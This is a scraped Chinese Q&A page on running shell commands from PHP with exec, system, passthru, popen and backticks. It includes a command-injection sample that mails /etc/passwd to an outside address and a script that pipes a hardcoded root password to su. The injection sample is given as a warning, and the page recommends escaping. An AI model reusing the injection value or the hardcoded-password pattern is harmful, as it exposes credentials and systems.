導航:首頁 > 編程語言 > apachephpexec

apachephpexec

發布時間:2022-05-23 04:14:40

『壹』 windows 下 php exec無法執行bat文件

試試phpstudy 2014試試。卸載apache通過菜單即可。支持nginx和iis等。php版本一鍵切換

『貳』 php中的exec在windows系統中如何實現

都一樣,在linux下的php代碼,在windows下面也可以用.

php在安裝的時候調用的是.o 而在windows下面使用的是.dll,但是其中的函數的使用對於程序員開發來說沒有區別.

如果你在IIS下不能執行,可能是由於許可權的配置問題,沒有許可權去執行,要根據你的錯誤情況來
在php的bug列表中有一條,在apache下使用這個函數會有一點小問題,但是對你我想應該沒有影響.如果有錯誤也要根據錯誤的信息來判斷.

解決方案,是根據你的錯誤來決定的.你要把錯誤貼出來.

『叄』 php exec()

php的exec函數用法如下:

exec — 執行一個外部程序

stringexec(string$command[,array&$output[,int&$return_var]])

exec() 執行command 參數所指定的命令

command:要執行的命令。

output:如果提供了 output 參數,那麼會用命令執行的輸出填充此數組,每行輸出填充數組中的一個元素。數組中的數據不包含行尾的空白字元,例如 字元

請注意,如果數組中已經包含了部分元素,exec()函數會在數組末尾追加內容。

如果不想在數組末尾進行追加,請在傳入 exec() 函數之前對數組使用 unset() 函數進行重置。

return_var:如果同時提供output和return_var 參數,命令執行後的返回狀態會被寫入到此變數。

返回值:

命令執行結果的最後一行內容。

如果需要獲取未經處理的全部輸出數據,請使用 passthru() 函數。

如果想要獲取命令的輸出內容,請確保使用 output 參數。

『肆』 PHP.ini開啟EXEC函數怎麼開啟

首先是 要關掉 安全模式 safe_mode = off

然後在看看 禁用函數列表
disable_functions = proc_open, popen, exec, system, shell_exec, passthru

這里要把 exec 去掉
重啟 apache 就OK了

『伍』 php exec 刪除文件代碼

exec() 裡面執行的一般是Linux 命令,

而linux 刪除文件的命令是 rm -rf 路徑
為了確保 exec() 能正確執行,請在linux 系統裡面 手動執行一下,
再往代碼裡面寫,這樣就萬無一失了!

『陸』 PHP運行EXEC文件

在PHP中調用外部命令,可以用如下三種方法來實現:
1) 用PHP提供的專門函數

PHP提供共了3個專門的執行外部命令的函數:system(),exec(),passthru()。
system()
原型:string
system (string command [, int return_var])

system()函數很其它語言中的差不多,它執行給定的命令,輸出和返回結果。第二個參數是可選的,用來得到命令執行後的狀態碼。
例子:

復制代碼
代碼如下:

<?php

system("/usr/local/bin/webalizer/webalizer");
?>

exec()

原型:string exec (string command [, string array [, int return_var]])
exec
()函數與system()類似,也執行給定的命令,但不輸出結果,而是返回結果的最後一行。雖然它只返回命令結果的最後一行,但用第二個參數array
可以得到完整的結果,方法是把結果逐行追加到array的結尾處。所以如果array不是空的,在調用之前最好用unset()最它清掉。只有指定了第二
個參數時,才可以用第三個參數,用來取得命令執行的狀態碼。
例子:

復制代碼
代碼如下:

<?php
exec("/bin/ls -l");

exec("/bin/ls -l", $res);
exec("/bin/ls -l", $res, $rc);
?>

passthru()
原型:void passthru (string command [, int
return_var])
passthru
()只調用命令,不返回任何結果,但把命令的運行結果原樣地直接輸出到標准輸出設備上。所以passthru()函數經常用來調用象pbmplus
(Unix下的一個處理圖片的工具,輸出二進制的原始圖片的流)這樣的程序。同樣它也可以得到命令執行的狀態碼。
例子:

復制代碼
代碼如下:

<?php
header("Content-type:
image/gif");
passthru("./ppmtogif hunte.ppm");
?>

2)
用popen()函數打開進程

上面的方法只能簡單地執行命令,卻不能與命令交互。但有些時候必須向命令輸入一些東西,如在增加Linux的系統用戶時,要調用su來把當前用戶換到root才行,而su命令必須要在命令行上輸入root的密碼。這種情況下,用上面提到的方法顯然是不行的。

popen
()函數打開一個進程管道來執行給定的命令,返回一個文件句柄。既然返回的是一個文件句柄,那麼就可以對它讀和寫了。在PHP3中,對這種句柄只能做單一
的操作模式,要麼寫,要麼讀;從PHP4開始,可以同時讀和寫了。除非這個句柄是以一種模式(讀或寫)打開的,否則必須調用pclose()函數來關閉 它。

例子1:

復制代碼
代碼如下:

<?php
$fp=popen("/bin/ls -l", "r");

?>

例子2:

復制代碼
代碼如下:

<?php
/* PHP中如何增加一個系統用戶

下面是一段常式,增加一個名字為james的用戶,
root密碼是 verygood。僅供參考
*/
$sucommand =
"su --login root --command";
$useradd = "useradd ";
$rootpasswd =
"verygood";
$user = "james";
$user_add = sprintf("%s "%s
%s"",$sucommand,$useradd,$user);
$fp = @popen($user_add,"w");

@fputs($fp,$rootpasswd);
@pclose($fp);
?>

3)
用反撇號(`,也就是鍵盤上ESC鍵下面的那個,和~在同一個上面)

這個方法以前沒有歸入PHP的文檔,是作為一個秘技存在的。方法很簡單,用兩個反撇號把要執行的命令括起來作為一個表達式,這個表達式的值就是命令執行的結果。如:

復制代碼
代碼如下:

<?php
$res='/bin/ls -l';
echo '

'.$res.'
';
?>

這個腳本的輸出就象:
hunte.gif

hunte.ppm
jpg.htm
jpg.jpg
passthru.php
要考慮些什麼?

要考慮兩個問題:安全性和超時。

看安全性。比如,你有一家小型的網上商店,所以可以出售的產品列表放在一個文件中。你編寫了一個有表單的HTML文件,讓你的用戶輸入他們的EMAIL地
址,然後把這個產品列表發給他們。假設你沒有使用PHP的mail()函數(或者從未聽說過),你就調用Linux/Unix系統的mail程序來發送這
個文件。程序就象這樣:

復制代碼
代碼如下:

<?php
system("mail $to <
procts.txt");
echo "我們的產品目錄已經發送到你的信箱:$to";
?>

用這段代碼,一般的用戶不會產生什麼危險,但實際上存在著非常大的安全漏洞。如果有個惡意的用戶輸入了這樣一個EMAIL地址:

'--bla ; mail [email protected] < /etc/passwd ;'
那麼這條命令最終變成:

'mail --bla ; mail [email protected] < /etc/passwd ; < procts.txt'

我相信,無論哪個網路管理人員見到這樣的命令,都會嚇出一身冷汗來。

好,PHP為我們提供了兩個函數:EscapeShellCmd()和EscapeShellArg()。函數EscapeShellCmd把一個字元串
中所有可能瞞過Shell而去執行另外一個命令的字元轉義。這些字元在Shell中是有特殊含義的,象分號(),重定向(>)和從文件讀入
(<)等。函數EscapeShellArg是用來處理命令的參數的。它在給定的字元串兩邊加上單引號,並把字元串中的單引號轉義,這樣這個字元串
就可以安全地作為命令的參數。
再來看看超時問題。如果要執行的命令要花費很長的時間,那麼應該把這個命令放到系統的後台去運
行。但在默認情況下,象system()等函數要等到這個命令運行完才返回(實際上是要等命令的輸出結果),這肯定會引起PHP腳本的超時。解決的辦法是
把命令的輸出重定向到另外一個文件或流中,如:

復制代碼
代碼如下:

<?php

system("/usr/local/bin/order_proc > /tmp/null &");
?>

『柒』 PHP去執行shell命令,exec('tail -f xxx.log > 1.log'), 但是執行完了,沒有生成對應的1.log

不是不行,是php執行這個命令的許可權不夠。你直接在linux執行是以登陸賬號的身份去執行,php是以apache的身份去執行,可以打開/var/log/httpd/error.log錯誤日誌看看www.hi-docs.com/linux.html

『捌』 php(exec,system)執行外部程序問題!!

Fedora 12 是SELinux, Security Enhanced Liux. 安全性特別加強. 由你的描述來看, 應該是SELinux的許可權沒打開.
在/etc/selinux/config 中將 SELINUX=enforcing 改成 SELINUX=disable即可, 如此便將SELinux中強化安全的部分完全關閉, 但也就變得和一般linux沒多少差別. 改完後要reboot.
如果想要SELinux的安全功能又想達成你要的目的, 要參考 SELinux特有的chcon指令以及httpd_selinux語法.
例如,
chcon -R -t httpd_user_content_t /web

『玖』 為什麼php用exec()執行linux命令/sbin/ethtool eth0 時輸出結果No data available。

沒有許可權。php用的是apache的用戶許可權。
一般許可權很低,只能操作打開修改apache網頁文件夾里的文件。調用不了其他地方的程序。
你在linux里用的是登陸用戶的許可權,這也是為了安全。

『拾』 php exec函數不能執行...急..............

。。。你看exec的函數返回值是什麼!!!
exec等只會有返回值,而不會彈出窗口。you know?
你可以指定輸出和返回值的,看看手冊吧。。它有三個參數呢
output
If the output argument is present, then the specified array will be filled with every line of output from the command. Trailing whitespace, such as \n, is not included in this array. Note that if the array already contains some elements, exec() will append to the end of the array. If you do not want the function to append elements, call unset() on the array before passing it to exec().

return_var
If the return_var argument is present along with the output argument, then the return status of the executed command will be written to this variable.

返回值
The last line from the result of the command. If you need to execute a command and have all the data from the command passed directly back without any interference, use the passthru() function.

To get the output of the executed command, be sure to set and use the output parameter.

閱讀全文

與apachephpexec相關的資料

熱點內容
二次元表格編程 瀏覽:20
plc編程器保停 瀏覽:963
如何降低伺服器的內存佔用率 瀏覽:868
阿里雲伺服器是個什麼意思 瀏覽:817
國內最好的數控編程培訓學校 瀏覽:13
222乘104列是演算法 瀏覽:159
程序員溝通正確姿勢 瀏覽:969
魔玩app怎麼視頻推廣 瀏覽:960
程序員抽獎送禮 瀏覽:458
北京java程序員薪資 瀏覽:658
如何創建網路平台或者app 瀏覽:355
python隨機數生成控制概率 瀏覽:236
壓縮機並聯運行 瀏覽:899
兩位單片機 瀏覽:63
四川音樂類投檔線的演算法 瀏覽:650
建行app如何改轉賬卡 瀏覽:27
android開發升級 瀏覽:299
要火社區app進不去怎麼辦 瀏覽:826
安卓手機上的自定義功能怎麼用 瀏覽:230
方舟伺服器怎麼購買進去資格 瀏覽:44